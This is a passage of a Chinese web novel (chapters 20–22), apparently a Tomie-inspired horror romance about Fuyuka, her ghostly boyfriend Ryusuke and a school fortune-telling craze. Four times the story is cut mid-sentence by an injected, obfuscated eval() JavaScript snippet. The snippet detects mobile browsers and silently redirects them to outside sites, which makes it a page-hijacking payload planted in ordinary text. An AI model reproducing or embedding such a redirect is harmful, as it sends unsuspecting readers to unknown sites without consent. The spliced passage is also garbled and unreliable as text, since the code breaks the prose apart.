因为身上有伤,虽然医生护士允许了他的出院,但老师还是额外开恩地豁免了他上体育课,他们班下一节课是体育课,所以他就到处逛逛。 然后在走廊碰见了我。 龙介看见我,似乎也有点惊讶,然后迅速反应过来,语气有些沉:“冬花在做算命?” “...才没有,我才不会做这么无聊的…好吧,我在做算命。” 我疲惫地开口,不过两秒就放弃挣扎。 随后又想到,玩都玩了,虽然碰见的是龙介,但也不妨碍我来问问题啊…毕竟他就是我碰见的第一个人。 他轻笑一声,好像看穿了我的想法,“冬花想问什么?” 我没有察觉到他语气中那细微的诡谲变化,反手抓住他的手,用史无前例的真诚语气地问道: “龙介龙介!能保佑这次期中考我的物理及格吗?” “……” 他沉默了片刻,似乎被我的问题无语到,好半天才开口, “……你先把昨天抄的那张物理试卷搞明白。” “还有,这是算命游戏,不是许愿游戏。” 最后,他强调道。 “呵呵,谢谢你。” ……就挺没意思的。 下次再也不玩了。 * 然而,并不是所有人都是这样想的,以至于这个游戏就好像是病毒一样迅速扩散到了整个学校,才短短一天的时间,几乎所有人都在狂热地迷恋着这个走廊算命游戏。 无论是早上上课前,课间休息或者是放学的时间段,总是能在教学楼的走廊拐角处看见有人在那里等着第一个路过的人。 …不是很能理解为什么大家这么喜欢玩这种游戏,但尊重。 而另一件我不能理解的事情也发生了,那就是忽然多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13829243|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人跑来向龙介咨询有关恋爱的问题。 起因是今天我约了龙介一起放学回去,但在教学楼的大门迟迟没有等到他,便走上去他的教室去找他。 他的位置靠窗户,出来的路被几个同学围住了,男的女的都有。从我的角度看过去,只能看见人群中,黑发少年的侧脸线条紧绷,一副不耐烦的样子。 “深田同学,请问下,你觉得我要是现在和喜欢的女生表白的话,她会答应我吗?” “呵呵,答应你,除非她脑子坏了吧。” “深田同学,我最近和我的闺蜜吵架了,她骗了我,明明之前说不认识安室学长的…结果被我发现她居然背着我偷偷和安室学长在一起了…可是她说只是不想我难过一时没想好怎么跟我说这件事不是故意瞒着我的,你说我要原谅她吗?” “当然是死都不要原谅她。” “深田同学…请问我的恋情会有结果吗?” “绝对不会有结果的,你只是个没人爱的小丑。” …… 问他问题的人一个接着一个,但大概是被耽误了时间又被堵住离开的路,他的回答每一个都非常糟糕。 以至于所有得到他回答的人离开时表情都有些恍惚。 拉住其中一位正准备离开的女同学,我便问道,“那个同学,我想请问一下,为什么你们都要来找龙介他问这些问题呀?” 听见我的话,她似乎终于从自己的思绪中缓过神来。 “...我也不知道,就是莫名有种感觉驱使着我,直觉告诉我,深田同学一定会给出不错的建议…所以就跟着大家来了…” 这位同学是刚才问要不要原谅闺蜜的那位。 我回想了一下龙介的回答—— 当然是死都不要原谅她! ……等等、你管这叫‘不错的建议’? 此时,龙介也注意到了我的到来,冷着脸驱散了剩下那些还热情高涨的同学们,然后拉着我快步离开了教室。 “等等、龙介,你刚才在做什么?” 他停下脚步,回头看我。“他们很烦,一直在问我一些无聊的问题,抱歉,让你等了一会。” 我:“我不是在抱怨你迟到。你为什么要对他们说那样的话?” “因为他们很烦。” 龙介的回答云淡风轻,似乎对自己刚才胡乱说的那些话毫不在意。 当然,还有更直接的原因不便和面前较真的少女说。 她世界单纯的像张白纸一样,又怎么会理解他这样的存在,就是以看到别人的痛苦和苦难为乐的恶趣味呢? “可是你说这样的话,会对他们造成很大的影响,万一……” 他却说:“我也没有义务浪费时间帮他们排忧解难。” “……” 完全没有办法反驳。 我看着表情的称得上是不近人情的黑发少年,忽然产生了一种非常陌生的感觉,他的表情滴水不漏,以至于我开始有点搞不清楚他到底是本性如此,还是只是他变了。 以前的龙介不是这样的。 鬼使神差之下,我问了他一个基本百分之九十来问他问题的人都会问的问题。 我问:“那龙介你说,我的恋情会成功吗?” 20.第二十章 龙介没有回答我的话,而是用一种探究的目光打量着我,好像我给他挖了什么坑似的。 确实,我挖了个坑。 其实我问的问题并不是真的想要听他的回答,我也不太在意他此刻沉默的根本原因是什么。 我:“呵呵。” “你看,因为我是你亲近的人,所以我问的问题你都不会恶语相向,我知道那些同学对你来说大部分都是陌生人,但他们来问你问题的时候肯定都是抱着期待的心情,你这样的回答无异就是往他们头顶泼了一盆冰水…而且青春期的男生女生本身心理状况就比较脆弱…万一他们想不开做傻事怎么办?” 他看着我一直在说,黑沉的眼眸古井无波。 最后,他开口,“那些人听完之后想什么做什么,跟我有什么关系?” 我突然觉得跟他说话很累,太阳穴开始突突起来。 我:“是跟你没关系,但你能不能至少不要说那样恶劣的话呢?” “随便说点什么都好,打发他们离开,或者不做回答直接走开都可以,为什么非要说那种话呢?” 他差点脱口而出他就是喜欢。 但还是控制住了自己,要是这样说的话,她会更生气吧。 虽然他始终不明白为什么要为了那些无关紧要的人感到生气。 人类就是这样的生物,那些人心底其实都有自己的答案,无非只要想通过别人的嘴里把内心的恶劣和不表明说欲望宣泄出来。 他只是扮演了这样的一个角色,何错之有。 错的不是应该那些抱有下等卑劣想法的人吗? 我不知道他内心的真实想法,但他就是一副连装都不愿意装的样子,让我莫名火大。 结果就是不欢而散。 他不回应我的话,我也不想主动开口,两人就这样沉默了一路直到分叉口,向左是他家的方向,向右是我家的方向。 我停下脚步跟他告别,他似乎还有点状况外,走出了好几步远才回过头来看我。 “你走错方向了,这边是我家的方向,你家是那边。” 他忽然开口,“冬花,你在生气。” 这是陈述句。 我没好气开口,“我没有,你确实是走错方向了。” 难不成他还想跟我回家吗? “……哦。” 他盯着我垂下的头颅,过了一会儿才冷淡地回应。 我:“那…再见了。” 我们转身背道而驰,各回各家。 快要走到拐角的时候,我忍不住回头看了一眼。 少年的背影清瘦修长,在没有行人的街道上显得越发冷清突兀,好像无论如何都没有和周围的一切融合在一起似的。 我抿了抿唇,将自己想要喊他一句的冲动压了下去。 搞什么,那一瞬间我竟然觉得他好像有点可怜。 这样的想法出现在我脑子里大概两秒不到,就被我狠狠压下去了。 真是见鬼了…我怎么会有这样奇怪的想法? 其实我知道龙介说的都对,他没有任何的义务或者责任要去回答那些问题。但我只是希望他能表现得更有人情味一点,而不是现在这副事不关己高高挂起,甚至给我感觉,他完全不介意把那些本就在悬崖边上岌岌可危的人推上一把,好让他们坠落的更快更深的样子。 龙介怎么会变成这个样子? ……还是他从前就是这样,只是我一直没有发现? 我摇了摇头,将脑子里那些奇怪又纷杂的思绪甩开,然后转头继续回家。 * ……总之,我和龙介冷战了。 应该是说,我单方面不是很想理他。 正好这两天是期中考试,我几乎流连在不同科目的考试中,每天不是考试就是复习,也没有什么时间去找龙介。 考试在第二天全部结束,我像是打了一场艰难的仗,结局是容后审判,整个人疲惫不堪。 信女愿意吃斋三天,换取物理及格…… 班级上,富江的位置还是一如既往地围满了人,等着富江对他们发号施令。 我觉得教室有点吵,便独自走了出来。 而走廊算命的游戏还在流行着,下课的时候每一个拐角基本都站满了排队等着算命的人。 “那个…白石同学,请等一下,可以…可以帮我做一下走廊算命吗?” “...可以。” 终于也是轮到我了呀… 女孩自称是三班的学生,我打量着她,一头利落的短头发,褐色的眼眸圆润,脸颊带着点婴儿肥,看上去挺可爱的。 她的烦恼是喜欢上了高年级的某位学长,两人是在同一个社团认识的,对方是社团的社长谈吐风趣幽默,长相也是帅气,还对她照顾有加,一来二去她便有些心动,想要跟学长告白。 “...可是我不敢,像我这样平凡的人,只要在背后默默注视着学长就好了…如果贸贸然跟学长表白的话,绝对会对他造成困恼吧,被我这样普通平凡,掉进人堆里完全没有半点存在感的家伙缠上的话…” “白石同学,你觉得我说的对吗?” 她脸上写满了羞赧,又带着一点紧张的情绪,一触及到我打量的眼神又立马低头错开我们之间的对视。 我却不认同她那番过分自贬的话,“不是这样的哦,我觉得你也是非常可爱的女孩子,就算是普通平凡的人也会有自己闪闪发光的地方,所以我希望你千万不要自我贬低自己。虽然不知道那位学长会不会答应你的告白,但我想,知道有你这样的女孩子在默默喜欢他,肯定是对他的一种正向的肯定…如果不想自己青春充满遗憾,为什么不去试试主动告诉对方自己的心意,就算最后没有成功也至少把自己的心意…” “你在那里讲什么漂亮的话?!” 她急不可耐地打断了,一扫脸上所有的紧张和羞赧,换上一副嫉恨的嘴脸, “白石同学你就是仗着自己好看…才会天真地讲出这样的好话来…什么‘我也是非常可爱的女孩子’‘去主动告诉对方自己的心意’…拜托,你真是站着说话不腰疼,像我这样长相平凡的人,一出生就是困难模式了…” “从小到大没有收过一封情书,也从来没有异性会上来跟自己示好,就算鼓起勇气跟喜欢的人表白也会被拒绝,然后被当做笑料向四周传播…这样绝望又令人崩溃的人生你经历过吗?肯定没有吧…毕竟像你这样的人,只要稍微对异性绽放一个笑容,他们就会向哈巴狗一样围上去…这样的你,凭什么跟我说出这样冠冕堂皇的话来啊?” 我:“……” 完全没有预想到的反应将我杀了个措手不及。 她见我一副惊讶地愣住的模样,仿佛毒蛇咬住了猎物一样,紧紧咬住不肯松口。 “看!被我说中了吧…白石同学,你的一无所知和高高在上的姿态真让人感到恶心…我最讨厌就是你这样的人!!” “真恶心啊……” 她干脆推开我,然后快步离开,很快就消失在走廊中。 只有我傻站在原地,久久没有回过神来。 最后是路过的同学担忧地问我:“白石同学,你还好吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13845140|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 然后好心地递给了我一张纸巾。 我这才发现自己已经泪流满面,手颤颤抖抖地接过对方的好意,说:“...谢谢你。” 声音已经哽咽沙哑得不像话。 …… 我一个人走出了教学楼,避开人群,避开所有人的视线,来到体育馆的后门。 这里没有其他人,我可以安心地放声大哭。 那双淬满嫉恨和怨毒的眼睛好像在我脑海中生了根扎了芽,还有那些对我的愤怒指责,仿佛还在耳边循环响起…即便是已经离开了那个地方,还要如影随形地纠缠着我,令我恐惧到浑身发抖。 明明我只是…好意而已… 为什么……这样的好意最后会变成被人攻击的子弹? 我哭得上气不接下气,一抬头就看见站在我面前的龙介。 少年瑰丽冷清的脸上写满了心疼和担忧,正静静地注视着我。 “龙、龙介…对不起…” 我想他之前是对的。 错的人是我。 龙介不发一言地上前将我抱在怀里,冰冷的怀抱此时却让我感到无比的踏实和安心。 我哭得更凶了。 “...对不起,我不知道…我究竟做错了什么…为什么…” 他安静地听着少女前言不搭后语的哭腔,然后伸手将她后脑勺那些不听话的头发一一理顺,等她说的差不多了,他才缓缓开口。 他说:“不,这一切都不是冬花的错。” 而造成这一切扭曲和恶意的源头… 他抬眸,漆黑的眼底是连阳光都没有办法进入的禁区,盯着墙后面的阴影。 一双脚迅速隐没在阴影的缝隙当中,仿佛从来没有出现过一般。 * 黑发少年若有所思地看向窗外体育馆的方向,然后起身准备离开教室。 刚走出教室就被人拦住—— “这个同学,可以麻烦你帮我做一次走廊算命吗?” 见少年沉着脸不说话,他还以为对方这是答应了,便急不可耐地开口询问:“那个…我不小心做了一件错事…我偷了家里的钱…给富江买了很贵很贵的首饰…她说了只要我给她送那条钻石项链,她就会考虑跟我在一起…可是现在她又说还要手链和戒指…我真的没有那么多钱了…我该怎么办?我真的很喜欢很喜欢富江…这位同学,我该怎么办呀?” --去偷去抢,实在不行,就把富江杀了变成只属于自己的东西…… --反正你心里就是这样想的,遵循本心行事就是。 但是这样说出来的话,她会生气。 她本来就已经在生气不理他了。 所以少年只是冷冷地开口:“滚远点,你这个废物。” “你……” 他正想反驳,一抬头就对上那双诡异的只剩眼白的双眸,顿时吓得冷汗直流,不敢说话。 迅速低下头错开那股渗人的视线。 “别碍事。” 等晃过神来的时候,面前的少年早就不知所踪。 男生后惊后怕地出了一声冷汗。 刚才那一切…绝对是幻觉吧…! ……体育馆的后门。 两人抱在一起,少女的眼角泛着泪光,熠熠生辉,阳光洒落在他们身上,镀出温暖的轮廓。 而他站在墙边的阴影处,白纸一般苍白的皮肤透露死人般冰冷渗人的气息,活像是被抛弃的恶鬼。 还是晚了一步。 被那个废物捷足先登。 只是他为什么要在意呢? 21.第二十一章 …… 白石冬花哭着哭着睡着了。 少女的头颅乖巧地枕在他的大腿上,弓着背蜷缩在石阶上,怕她弄脏校服和着凉,他特意脱了自己的校服外套垫在下面。 稍一垂眸,就能看见她干净美好的侧脸,紧闭的眼角仍然有些发红。 就现在这一刻,幸福的场景陌生又遥远的仿佛是上辈子一样。 自从在那个沉重的雾天死去后,他就好像受到了诅咒—— 他被困在了雾之町的那片浓雾当中。 浓雾中完全分不清楚现实和虚幻,也没有时间的概念,他不知道时间过去了多久,也许是很久,也许也只有一会儿。 黑衣美少年并不总是会出现在这片浓雾中。 那些可怜的女孩们,死去的灵魂无法解脱,也跟他一样被永远束缚在这里,每分每秒都在巴巴地等待着黑衣美少年归来。 眼前是没有尽头的浓雾,腐烂恐怖的尸体矗立在每一个路口的拐角处,用那双干枯的眼睛看着他,干涸的血泪凝固在脸上,看上去阴森又可怜。 “...你回来看我啦…美少年…” “好爱你…真的好爱你……” “不要离开我们…拜托了……” 他忍不住回应道:“我不是十字路口的美少年,你们醒醒吧。” 不要再纠缠执着下去了。 那女孩却咯咯地笑出声来,血肉泥泞的手指指向他,“可你就是十字路口的美少年啊…” 话音落下,那些鬼影一拥而上,立马将他团团围住。 那些声音就好像来自地狱般,在他耳边响起,他只感觉自己的神经好像被人从脑子里扯出来,别尖锐的指甲反复拨弄。 好痛苦…真的好痛苦… 谁都可以,谁来让她们闭嘴?! 然后,黑衣美少年那形如鬼魅的身影就出现在了前方,没有瞳孔的双眼正盯着他,肆意又邪恶。 不发一言,仅仅对视便能够读懂他的潜台词: “欢迎来到地狱。” 他自以为是的救赎,其实是对方为他量身打造的地狱。 没有时间尽头的地狱,就连阳光都无法达到,耳边永远只回荡着那些凄惨的声音。 这是真正的求生不得求死不能。 已经死过一次的人,是没有办法再死第二次的。 谁都好,谁可以来救救他…… 在绝望达到顶峰的时刻,恍惚间,他看见白石冬花的身影。 她还是一如既往地好看,穿着夏季的校裙,走路的时候裙摆会荡起好看的弧度,像是翩翩起舞的蝴蝶,不知道下一刻会降落在哪片花丛上。 然后她身边出现一个高大帅气的男生,两人牵手一起离开…… 这只是幻觉。 他知道。 这将会是不久的未来,年少的心动和恋爱终究会成为一个对女孩来说开头还算美好,但结局不怎么美好的故事,她会淡忘他,然后继续前行。 这是他早就料想到的结果,但还是会忍不住浑身颤抖。 原来他竟会为此感到恐惧。 恐惧失去她,愤怒她会忘记自己,不甘心她身边有其他人。 所有邪恶的、负面的情绪…就好像这片雾气一样,他就算用尽手段武装自己,还是会悄无声息地渗透进来。 ……他正在变得糟糕起来。 第一次积攒够足够力量走出浓雾的瞬间,他几乎是马不停蹄地赶到少女的周围。 但他没有现身,只是暗中把那个讨人厌的家伙的手帕弄走。 不想让黑衣注意到冬花的存在是一回事,另一回事就是—— 太丑,太矮,还没什么成绩又没有存在感的家伙,凭什么靠近冬花? 他这样恶劣地想到。 可是他为什么会有这样的想法呢? ……随着时间的过去,他能离开浓雾的时间也越来越多,越来越久。 大部分时间,他都是几乎立马就会出现在冬花的周围。 唯一一次例外,他曾经去找过自己的父母。 自他死后,父母便离开了雾之町,他们变卖了乡下的财产,正打算出国。 他来的时候,正是他们准备离开的那一天。 两人在日本生活了数十年,临行离开竟然只有两个简单的箱子还有自己儿子的骨灰,未免让人唏嘘。 他的父母看上去都老了不少,尤其是母亲,头发都已经发白。 他就站在他们的面前,眼眶湿润。 而她母亲则是看着面前俊美修长的少年,露出了疑惑的表情,“小伙子?你是来找谁的?” 他如鲠在喉。 见面前的人一直不说话,只是用一种惊讶又悲伤的眼神看着他们,夫妻两人尴尬地对视一眼,然后说了声‘抱歉,赶时间’便绕开他匆匆离开了。 只留下他在原地百思不得其解。 为什么…他的父母都不认得他了呢? 片刻后,身后响起暴躁的车喇叭声,他这才回过神来让开道路。 车子缓慢通过。 金属的黑色车身在他面前驶过的时候,他清楚看到倒映在上面的人影。 赫然已经不是他原来的样子了。 苍白的,病态的,俊美得几乎诡异,只要看一眼就会被情不自禁地吸引…… 那赫然就是黑衣美少年的脸。 ……不仅仅是性格和思维,原来已经被影响得连外貌都已经朝那家伙改变了吗? 如果所有人都不认得他,全世界都在逼他成为‘十字路口的美少年’也就作罢了,偏偏在那个雨夜,少女为他打开了那扇散发着暖光的大门,她叫他龙介。 就在连他自己都快要不认识的自己的时候,只有她还认得他…… 只有冬花是特别的。 就算不择手段也好,偷也好抢也罢,他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13857198|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回到冬花的身边。 …… 女孩怕晒,巧妙地睡在体育馆投下的阴影中,而他则是颇有心机地任由自己暴露在阳光中,企图用阳光的温度来掩盖住自己冰冷的身体。 她完全没有察觉出异常,全然不知身边已经被没有冰冷险恶的怪物围绕。 他的冬花就是这样,对亲近的人永远不会设防,这才给了那家伙可乘之机。 不远处,澄清的天空下,五层楼高的教学楼正冒着正常人都看不见的黑气,浓郁得直冲云霄,仿佛在等待一个导火索、一个信号,便一触即发。 就好是那家伙也死在这里。 就不用他来出手了。 冬花不会喜欢他身上沾上太多血腥味的,女孩虽然天生顿感,却有着如同小动物般的本能和直觉。 届时,她一定会害怕自己的。 这样想着,他垂下眼帘,敛去眼底的暗光,伸手划过她温暖柔软的脸颊。酥麻的痒让她平静的脸出现波动,浓密的鸦羽像是蝴蝶的翅膀一样颤抖着。 “冬花,你说…我现在到底是什么?” 他小声地自言自语。 她睡眼惺忪地睁开眼,脑子似乎还有些迷糊,喊了他一句:“龙介?” 他心领神会反握住她的手,说:“嗯,我是龙介。” --只要在她身边,我永远都是‘深田龙介’。 他这样想到。 * 我完全没有想到自己会不小心睡着,大概哭得太认真,连力气和精神都耗尽了,才沉沉睡了过去。醒来的时候龙介就在我身边,而太阳已经开始西沉,散发出金黄的光辉。 我问:“我睡了多久?” “不久,两个小时左右。” 哦,两个小时左右确实还好… 什么?! “两个小时?!那我下午的课……” 他却叫我放心,说已经帮我跟老师请好假了。 我这才放心下来。 “龙介,今天真的谢谢你…听我说话,陪着我睡觉,还要跟我一起翘课……” 甚至还贴心地帮我找老师请好假…话说,他是怎么跟老师请假的?他带手机来学校了? 这时我注意到我底下被充当垫子的校服外套,是他的,无关紧要的疑惑暂时抛到一边,立马又补充, “还有这个校服外套…我会洗干净再还给你的……” “冬花永远不用对我说谢谢,这都是我应该做的……毕竟我们是男女朋友不是吗?” “话是这么说…但是…基本的礼仪还是要有的。” 我被他看得有点不好意思,总感觉今天龙介的视线有种黏糊糊的感觉。 闻言,他露出了思索的表情,片刻后,他说:“如果觉得不好意思的话,那冬花不如亲我一口当做谢礼。” 他顿了顿,然后指了指自己的唇边, “亲这里,可以吗?” 22.第二十二章 我当场愣住,大脑宕机了一段时间才恢复运转,意识到他的意思后,脸颊后知后觉地迅速发烫。 我不是没有亲过龙介,但大部分时候都是止于脸颊,或者额头这些地方无伤大雅的地方。 然而这次他想我亲的是…… 我无法控制自己的视线看向龙介的嘴唇。他的唇色比之前的淡上了不少,但仍然比我的红,唇形饱满好看,看上去确实有点秀色可餐。 然后我狠狠地在内心唾弃了一下自己。 什么叫秀色可餐?!这是可以用来形容男孩子的吗? 但是… 大概是看穿了我的犹豫不决,他立马又贴心地表示:“没关系的…冬花不用勉强自己。” “才、没有勉强自己…我只是…” 我放弃挣扎,咬咬牙果断开口, “...龙介可以把眼睛闭上吗?” 如果被龙介那双黑眸一直盯着的话…完全是不敢亲上去啊喂! “好。” 他眼底带笑,随后乖巧地闭上眼睛。 我吞咽了一下口水,然后小心翼翼地凑上去。可凑得太近又害怕他听见我鼓锤一样的心跳声,显得我好像个恋爱菜鸡似的,只好梗着脖子把脸凑过去, 然后轻轻贴上他的嘴唇。 少年的嘴唇冰凉又柔软,让我想到了冰箱里的果冻,不知道会不会有水果的味道。 忍住自己想要舔一舔这样的变态想法,我快速地抽离,然后强壮镇定地开口:“...好了,你现在可以睁开眼睛了。” 黑眸蓦然睁开,少年的眼底如化不开的浓墨,他的语气低沉:“就这样?” 我:? 我:“不就这样?” 他还想要哪样? 他哑然失笑,最后叹息了一声,轻声说:“嗯,就这样就可以了。” 还是不要吓到她。 我狐疑地看着他,目光触及他的嘴唇,又立马逃似地错开,干巴巴地开口:“时间差不多了…那...我们回去吧。” “好,走吧。” * 我们并肩一起走回去。此时已经过了放学时间,教学楼里已经没什么人,就连那些热衷于做走廊算命的同学也一个都看不见,冷清的我还有点不习惯。 我和龙介的教室在两个不一样的方向。 为了节省时间,就各自回去各自的教室拿书包,然后约在教学楼门口等。我比龙介先弄好走到大门,可是等了十来分钟也没有等到他。 思考片刻,我决定重新折返回去龙介班上找他。 只是走到楼梯的拐角处时,一个身影冷不丁地撞上了我。 是川上同学。 她的校服因为奔跑有些凌乱,象牙般的两颊也染上淡淡的绯红,更衬得她面容姝丽,平添几分艳色。美女不愧是是美女,就算是跑完八百米狼狈不堪的样子看着也是大美女… 只是她为什么跑的那么急? 见了我,她立马紧张地抓住我的手臂,慌张地说道:“救、救救我…冬花,快救救我…他们想要杀死我…好可怕啊…” 说着她埋头扑进我的怀里。 我有些尴尬,手不知道往哪里放,然后目光躲闪之间就注意到她背后的校服,素白的上衣已经染上了一片触目惊心的红。 “川上同学,你受伤了吗?” 我的语气惊讶,还有微不可察的颤抖。 垂眸仔细观察,染血的校服完全看不出来伤口的深浅,但看她精神还可以的样子,应该还可以支撑一段时间… 川上富江却不以为意,只是一个劲地往我怀里钻,嘴里说着“他们要杀我,快救救我…” 此时,楼梯的上层传来吵杂的人声和脚步声,熙熙攘攘,听上去十分暴躁急切,仔细听还能听见他们在喊着‘富江’二字。 明显就是冲着川上同学来的。 我不疑有他,立马拉着富江躲进旁边的女厕所的隔间。 脚步声越发逼近,我和富江躲在最里面的隔间,暗暗祈祷着他们不要进来厕所搜寻。 然而上帝并没有眷顾我们。 “咿呀——” 女厕所的门被打开了。 “...这是女厕所,我们进去不好吧…” “都这种时候了,你还管这个?” “万一有其他人呢?” “...废物,让开,让我进去看看!” 最后拍板说话的是一个女生,然后是迟缓又轻盈的脚步声。 她走进来了。 川上同学蜷着身体坐在马桶上,只露出一双黑色眼睛直勾勾地盯着我,几缕因为逃跑而凌乱的黑发不听话地黏在她雪白的脸上,配合眼角的泪痣,有种说不上来楚楚可怜的感觉。 我好像也找回了一点力气,朝她比了个嘘声的手势,然后按下了冲水键。 我整理了一下自己的面部表情,试图让自己看起来更镇定自若一些。 然后拉开隔间的门走了出去。 迎面撞上女孩警惕的目光。 我认得她,也是经常围在川上同学身边的一位。 女生正审视着我,我也在不动声色地观察她。 她的神色很是严肃,紧绷的表情带着风雨欲来的压迫感,虽然她试图将自己的手藏在身后,但动作间还是可以看见她指尖上的鲜红,隐隐约约间,似乎有寒光略过。 她背着的手心里藏了一把小刀。 我立马联想到了川上同学后背的血迹,心下一沉。 恍惚间,我又回想起那天千绘同学被杀的场景,也是这样。发了疯的富山同学拖拽着血肉模糊的尸体,鲜血在噌亮的大理石瓷砖上拉出长长的痕迹,千绘同学那张如同石灰像般的脸朝着我,瞪圆的双目死死地盯着我。 仿佛在说,你怎么不早点来。 我一直以为我已经将这件事抛诸脑后了。 直到这相似的一幕再次发生,那些记忆又突然死灰复燃。 直面死亡的恐惧再次攫取了我敏感的神经。 我的腿开始不听使唤地颤抖,但还是强装冷静地先开口问:“那个…你是上厕所吗?…好像都没有人,你可以随便选一个?” 我错开视线,强迫自己不要去看那个地方。 一副只是单纯以为她也来上厕所的样子。 那女生径直目光越过我,仔细地扫了一眼身后的厕所隔间,几乎所有的隔间门都是大大敞开,空的一览无余,只有她刚才走出来的隔间,门半开半掩。 见她一副蠢蠢欲动要去搜查的样子,我当机立断地开口:“那个…还是你在找人吗?” 她的注意力立马被我叫了回来,否认道:“不,我只是随便看看,白石同学…你的腿怎么在抖,是在害怕什么吗?” 女生的笑容让我感到有些肝寒。 我:“....抱歉,刚才上厕所太久了,脚有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13865524|144268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点麻。” “……” 女生张嘴似乎还想说些什么,门外的人却骚动起来。 “...富江!好像从那边跑过去了!” “快、我们快追上!” 听见那些动静,女生也有点动容,准备上去追。 我假装奇怪地问道:“诶?同学,你不来上厕所了吗?” “……不上了。” 她急匆匆地跑走,像是后面有鬼在追她一样。 最终确认他们大部队走远之后,我这才松了一口气,整个人有些失力地瘫靠在墙边,小口小口地喘着气。 富江也从隔间走了出来,一下子抱住我。 一股冷香瞬间萦绕在我的鼻尖,伴随着若有似无的血腥气味。 * 据富江所说,那些人本来只是因为谁今晚陪富江一起放学而争吵起来,但不知道为何,短短的十来分钟,这样的争吵就演变成了暴力事件,他们纷纷指责对方的不事,甚至大打出手。富江劝不动他们,就准备离开去找老师处理,结果不知道谁大喊了一句‘富江要跑了全都是富江的错’,于是战争的矛头瞬间就指向了她。 “……我没想到他们竟然疯到要杀了我…” “冬花同学…谢谢你救了我,我好害怕…他们…他们都疯了,你一定要救我,你要保护我…冬花同学,我现在只有你可以依靠了…” 川上富江长得极美,这种天然无暇的美丽中带着致命又诡异的吸引力,只要轻轻一个抬眼,一个微笑就可以让那些凡夫俗子心甘情愿地奉献出自己的全部,然而这种吸引力却如同诅咒一般,最终会让那些追随者陷入彻底的疯狂,迷失自我。 她本来以为那些人可以撑得久一点的…没想到还是不堪一击。 不过、他们倒也不是一无是处。 至少她成功、自然地来到了这里—— 她的怀抱。 没有人可以抵抗这样楚楚可怜、有意散发自己魅力的富江,像是开屏的孔雀,又像是被雨淋湿的小猫。 所以快点来保护我吧…冬花…来我的身边… 这样想着,在女孩看不见的地方,富江埋着头痴迷地呼吸着女孩身边的空气,仿佛只要连空气有着令人沉迷的香甜味。 冬花真的好香…跟那些散发热气臭烘烘酸溜溜的男男女女都不一样…… 她激动得瞳孔微缩,仿佛已经将少女拿捏。 然后下一秒,她被推开。 川上富江,在不知道存活了多少年的时光里,生平第一次主动投怀送抱却被人推开。 * 我迅速冷静下来,然后推开了黏着我的川上同学,并且表示只有警察才能保护我们的安全。 “我们得赶紧离开这里,不然等她们发现不对劲回头就糟了…得去保安室…那里有电话,我们要通知保安,然后报警,还有你身上的伤口得赶紧处理…对,叫救护车…” 我自顾自地边说边准备走出去,回头却发现富江还愣在原地,一副被吓傻茫然不知所措的样子。 我想她大概是因为第一次经历这些可怕的事情才会这样,而我作为第二次经历的人,多少比她有一点经验。 于是我安慰道,“没事的,一切都会过去的。等警察来了我们就彻底安全了…” 见她不为所动,我立马催促道:“别傻站着了,我们快走吧。” “……” 这是什么史前木头?